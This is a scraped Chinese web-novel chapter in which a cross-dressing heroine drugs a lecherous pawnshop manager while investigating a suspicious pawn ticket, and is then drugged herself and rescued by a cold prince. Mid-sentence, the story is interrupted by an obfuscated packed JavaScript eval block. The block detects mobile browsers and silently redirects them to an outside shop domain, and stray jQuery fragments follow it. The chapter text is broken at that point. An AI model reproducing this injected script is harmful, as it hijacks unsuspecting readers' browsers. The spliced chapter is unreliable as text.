文趣网 > 其他小说 > 穿书后抱上隐藏大“腿” > 33. 声名鹊起(三)
    赵倦冷笑一声,对她的质问不予回应。

    阮棠强自压抑怒气,略想一想,就觉此事不简单。

    赵倦若是知道她与当铺管事的相约天香楼,必定也知道她女扮男装,在当铺里演的一出大戏。

    他派人跟踪她?

    是只在今天跟踪,还是平日里,她的一举一动都在他的视线里?

    但她不想与赵倦吵架,吵架是无效沟通,作为成年人,她希望能解决问题,而非发泄情绪。

    阮棠心平气和地解释她的目的:“我想帮宛新眉。”

    赵倦毫不留情:“以卵击石,不自量力。”

    “你怎知我以卵击石?你查……”

    赵倦冷哼一声:“这种事与我何干?”

    “就算是以卵击石,不去做怎么知道结果一定会失败呢?”阮棠好声好气,试图说服赵倦,“我有分寸的,假如对方真是我们踢不动的铁板,我会及时抽身。”

    “你有没有想过后果?”

    “什么后果?”

    “倘若王管事不知丑丑当铺,你此行便是多此一举,还可能陷自己于险境。”赵倦抬眸,耐心道,“若是王管事果真与丑丑当铺有关……”

    “如何?”

    “你此行便是打草惊蛇。”

    “况且——”赵倦冷漠地说,“凭你的本事,王管事你就应对不了。”

    阮棠刚觉得赵倦的话,有几分道理。他这画蛇添足的一盆冷水,真是毫不留情,反让阮棠偏要争一口气给他看,当下懒得再与他多话,转身走了。

    赵倦冷眼看着,没再说话,手指病态地苍白蜷曲,似乎在与谁较劲。

    半天后,于庭方小声问赵倦:“王爷,要不要去暗中护卫王妃?”

    “管她作甚?随她自己去作死。”

    —

    天香楼离天水巷近,因为它位于甜水巷。

    阮棠依旧男装赴约,刘延翰等在巷口,见她露面,掩去一个哈欠:“我一定是疯了,才陪你胡闹,万一捅了娄子,阮三郎肯定要剥了我的皮。”

    “一会儿你不要露面。”阮棠吩咐道。

    流延翰:“?”

    “暗处接应我即可。万一那老色鬼使什么下作手段,别我们一起折在里面。”

    “行。”刘延翰婆妈地叮嘱她,“别吃点心,别喝茶酒。特别是老色鬼给你的。我昨日回去打听了,这管事的姓王,家里养了好几个貌美妖童,还时常在外面玩。心思龌龊,手段下作,你务必多几个心眼。”

    阮棠连连点头。

    小刘见她一脸的不在意,牙疼似的从怀里掏出一只小瓶,递过去。

    “这是什么?”

    “迷药。”

    阮棠双目亮晶晶。

    “用的时候,自己捂住口鼻,别没放倒敌人,反把自己迷倒了。”

    “知道了。”

    两人到了天香楼,分开行动。

    知道是王管事的客人,跑堂的将她带上二楼的一间阁子。恰巧隔壁是空的,小刘便要了隔壁,随时接应阮棠。

    雾里看花,水中望月,灯下观美人。

    门推开,在黄暖的灯光下,一捧雪似的美人儿袅袅婷婷走进来。

    王管事眼开始发饧,半睁半闭,显出一股色迷迷的猥琐之态。

    阮棠坐下,对王管事笑了一笑,便急急问:“王管事可找到了我的东西?”

    “嗯?”王管事的眼珠子像粘在她脸上,挪不开,“什么东西?”

    阮棠眼睛瞪圆:“我表哥在你家铺子里当掉的东西呀!”

    所谓色心令人眼迷,眼前这位小郎君,一嗔一笑,都像在朝他放秋波。老王哪里受得了这个,起身挪到阮棠身旁,胳膊一伸,就要去搂她。

    阮棠鱼儿一样,滑出去,难为情道:“王管事,你这是要做什么?”

    王管事见她含羞带怯,笑容里还带着一丝勾人不自知的娇媚,心道:这次撞了个大运,竟是个尤物,若放手调.教一番,那床上滋味还不知如何销魂。

    他心痒难耐,勉强按捺住色心。给阮棠的杯中斟满酒,劝道:“小郎君先尝尝这眠春,天香楼最好的酒。”

    阮棠看了一眼那眠春酒,只见香味缠绵,酒液作醉红色,一看就不是什么正经酒。扮出又怯又怜的样子,小声道:“我……不善饮酒。”

    “郎君哪里不善饮酒的,这酒嘛,尝一口就会了,越喝越会。”王管事捞起酒杯,直抵到她唇边。

    阮棠侧过头,瞪圆眼睛,撇嘴道:“李管事莫不是欺我年少,哄着我玩儿?”

    “心肝儿,我怎么舍得?”

    见她一副娇态,王管事哪里把持得住?手搭上她肩,眼看就要直接灌她酒了。阮棠推了老王一把,酒杯咕噜咕噜滚落下去,酒液淅淅沥沥泼到她鞋面上。

    阮棠撩起袍角,露出泼湿的鞋子,恼道:“瞧你干的好事!”

    半天没动静。

    阮棠转头,才发现这老色鬼盯着她的脚,眼已经直了。

    ……

    阮棠换到对面坐下,换了一张脸,楚楚可怜,几乎要滴下泪来:“王管事,我是真的很想赎回我母亲遗物。”她咬了咬嘴唇,下定决心,郑重抛出一颗饵,“若是您能帮我找回东西,我必有重谢。但凭管事开口,只要我有的,都可当作酬谢。”

    老色鬼眼睛一亮:“当真?”

    “君子一言,驷马难追。”

    “那我先要个定金,不过分罢?”老色鬼顺杆上,得寸进尺。

    阮棠忍住翻白眼的冲动:“那要看王管事的诚意了。”

    “你那亡母遗物,是个什么样儿的?”

    敢情我昨天给打的条子,白写了?阮棠暗自给自己按下火气,正事要紧。从袖中掏出一张宛新眉递出来的当票,展开递过去。

    “王管事看看,可认得这当票?”

    “瓮声瓮气缺角大肚汉……”王管事疑心自己眼睛出了问题,将当票凑到灯前细看,“这当的是什么东西?”

    阮棠:“……”她也不知道啊!

    王管事狐疑地看过来:“是在我们铺子里当的?”不待阮棠回答,自去看当票的落款,“丑丑当铺?”

    阮棠扮作懵懂状:“我表哥说,就是在你家当的呀!”

    “绝无可能……”他目光还定在当票上,狐疑道,“这是哪家当铺,我怎么从来没听过……”

    琢磨片刻,他恍然大悟看向阮棠,语气也正经起来:“你们从哪里做出这假当票?存心来讹诈我们。今日你休想跑,我这就报官……”

    看王管事的神色,不像作假。得,今晚算是白费力气了。

    阮棠掏出小刘给的迷药,趁老色鬼还在琢磨当票时,对准他头面就是一扬。

    “你……”只来得及吐露一个字,王管事便一头栽倒在地。

    “我去……”阮棠难以置信,看了看自己手中的小瓶子,“这么好使?”

    将王管事手中的当票收回,小心揣入怀中。正要往外走,想想不解气,这色鬼色眯眯瞧了她一晚上,一点忙都没帮上。转身

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500192|202691||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,朝他身上狠狠踹了两脚。

    心中舒服了,阮棠这才抬脚往外走,谁料脚才迈出两步,忽觉头晕目眩。下一刻,麻袋一般扑倒在地上,晕了过去。

    失去意识前的一刹那,她仿佛还看到了模模糊糊的赵倦,蹲在她面前。

    一张脸,冷若冰霜,朝她冷笑:“你就这点本事?”

    —

    粼粼马车声,在空旷的街道上响得急。

    城门将闭,守门的卫士见赶车的是个瘦弱的半大小子,拦住询问。

    赶车人勒停马,不说话。

    卫士见他一张脸生得女相,花儿一般,瞧着挺美,却崩得紧紧的,一丝表情也无。既不递钱,也不说软和话,连赔个笑也不会,心下便有些怒气。

    “车里什么人,出来回话。”

    赶车人冷冷睨了他一眼,手一扬,马鞭挟劲风劈面抡下,一道鞭痕从卫士右脸直划到脖子上,肿胀破皮,血珠沁出。那卫士忽然挨了一鞭子,愣在当场。

    小队长看到这边的情形,忙跑过来查看。

    一见手下脸上的鞭痕,有心护短,正想呵斥赶车人。目光扫过马车帘子上的绣章,他不由一惊。

    赶车人将马鞭折了一道,握在手上,盛气凌人道:“还不放行?你也想挨一鞭?”

    “不敢。”小队长拉着手下后退两步,半弯腰,恭敬道,“给晋王爷请安。”

    那卫士听到晋王爷的名号,吓得脸白了。弯腰垂头,直到马车出城,行得远了。还一动不动。

    “这一鞭子挨得不冤,晋王爷的车驾,你也敢拦?”

    那卫士也很委屈:“我哪知道是晋王爷。”

    小队长附耳对这傻兵蛋子耳语:“以后记着了,得罪谁也别得罪晋王爷。他不像陈王,陈王良善,好说话。”

    —

    阮棠睁眼的瞬间,吓得立刻又闭回眼。

    太吓人了,这是还迷糊着吗?她居然看到了赵倦?

    “醒都醒了,别装了。”

    ……

    阮棠坐起身,听到外面车轮子滚动的声音,嗯,在路上。再看赵倦,此君端端正正坐在软垫中,就着车顶悬着的几颗夜明珠,百无聊赖地左手同右手下棋。

    “我怎会晕倒?”

    赵倦蹙眉,左手食指与中指之间,夹着一枚白子,正在琢磨它的落处。半晌后,谋定而动,落下白子。

    “你中了迷药。”

    “怎么会?我明明捂住了自己的口鼻。”

    “屋中燃着‘不复醒’,你没发现?”

    “什么是不复醒?”

    赵倦终于抬眼,施舍一般看了她一眼:“就是迷魂香,你闻了将近一个时辰,都没闻到奇怪的味道?”

    “我又没长狗鼻子,哪闻得出这个。”

    被拐弯抹角骂了的赵倦,懒得再理她,拈起黑子,找落脚处。

    阮棠理了理鬓发,忽然想起来:“你怎么会及时赶来救我?”

    赵倦冷笑:“我若不来,你怕是要被困在城中,瓮中捉鳖了。”

    阮棠不信:“不过是个当铺管事的,他有这么大本事?”

    “今日去天香楼之前,他去见了都巡检使。”

    阮棠吃惊:“都巡检史……余承?他找余承做什么?”

    赵倦落下白子,淡淡道:“借人,那间阁子四周,都是余承借给他的人。他志在必得,让你敬酒不吃吃罚酒。——你为何不问刘延翰的下落?”

    阮棠一拍大腿:“我把他给忘记了……他还好罢?”